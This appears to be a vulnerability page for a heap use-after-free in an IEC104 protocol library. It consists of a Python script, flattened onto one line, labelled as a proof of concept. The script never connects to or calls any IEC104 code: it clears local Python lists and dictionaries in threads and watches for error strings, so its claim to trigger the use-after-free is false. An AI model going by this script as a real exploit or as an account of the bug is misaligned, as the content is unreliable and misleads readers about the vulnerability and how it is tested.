CVE-2025-63927 airpig2011 IEC104堆使用后释放漏洞

import threading import time # PoC for CVE-2025-63927: Heap Use-After-Free in IEC104 Iec10x_Scheduled # This demonstrates triggering the vulnerability through concurrent client execution def iec104_client_thread(client_id, duration=10): """Simulate IEC104 client connection with concurrent operations""" print(f"[*] Starting client thread {client_id}") start_time = time.time() while time.time() - start_time < duration: try: # Trigger Iec10x_Scheduled function call # In real scenario, this would call the vulnerable function schedule_task = allocate_shared_resource() process_iec104_frame(schedule_task) time.sleep(0.01) except Exception as e: print(f"[!] Thread {client_id} error: {e}") # This may catch the use-after-free condition if "invalid pointer" in str(e) or "double free" in str(e): print(f"[!] Potential use-after-free detected in thread {client_id}") def allocate_shared_resource(): """Simulate memory allocation that gets freed by another thread""" return {"data": "iec104_frame_data", "ref_count": 1} def process_iec104_frame(task): """Process IEC104 frame - vulnerable function called here""" # Simulating the Iec10x_Scheduled function behavior if task and task.get("data"): # Access task data - potential use-after-free if freed elsewhere pass def trigger_concurrent_free(): """Thread that frees shared resources while clients access them""" shared_resources = [] for i in range(100): shared_resources.append({"id": i, "data": f"resource_{i}"}) time.sleep(0.005) # Wait for some clients to start # Free resources while other threads may be accessing them shared_resources.clear() # This creates the use-after-free condition if __name__ == "__main__": print("[*] CVE-2025-63927 PoC - IEC104 Heap Use-After-Free") print("[*] Starting concurrent client threads...") # Start the freeing thread free_thread = threading.Thread(target=trigger_concurrent_free) free_thread.start() # Start multiple client threads to trigger the vulnerability threads = [] for i in range(5): t = threading.Thread(target=iec104_client_thread, args=(i, 10)) threads.append(t) t.start() for t in threads: t.join() print("[*] PoC execution completed")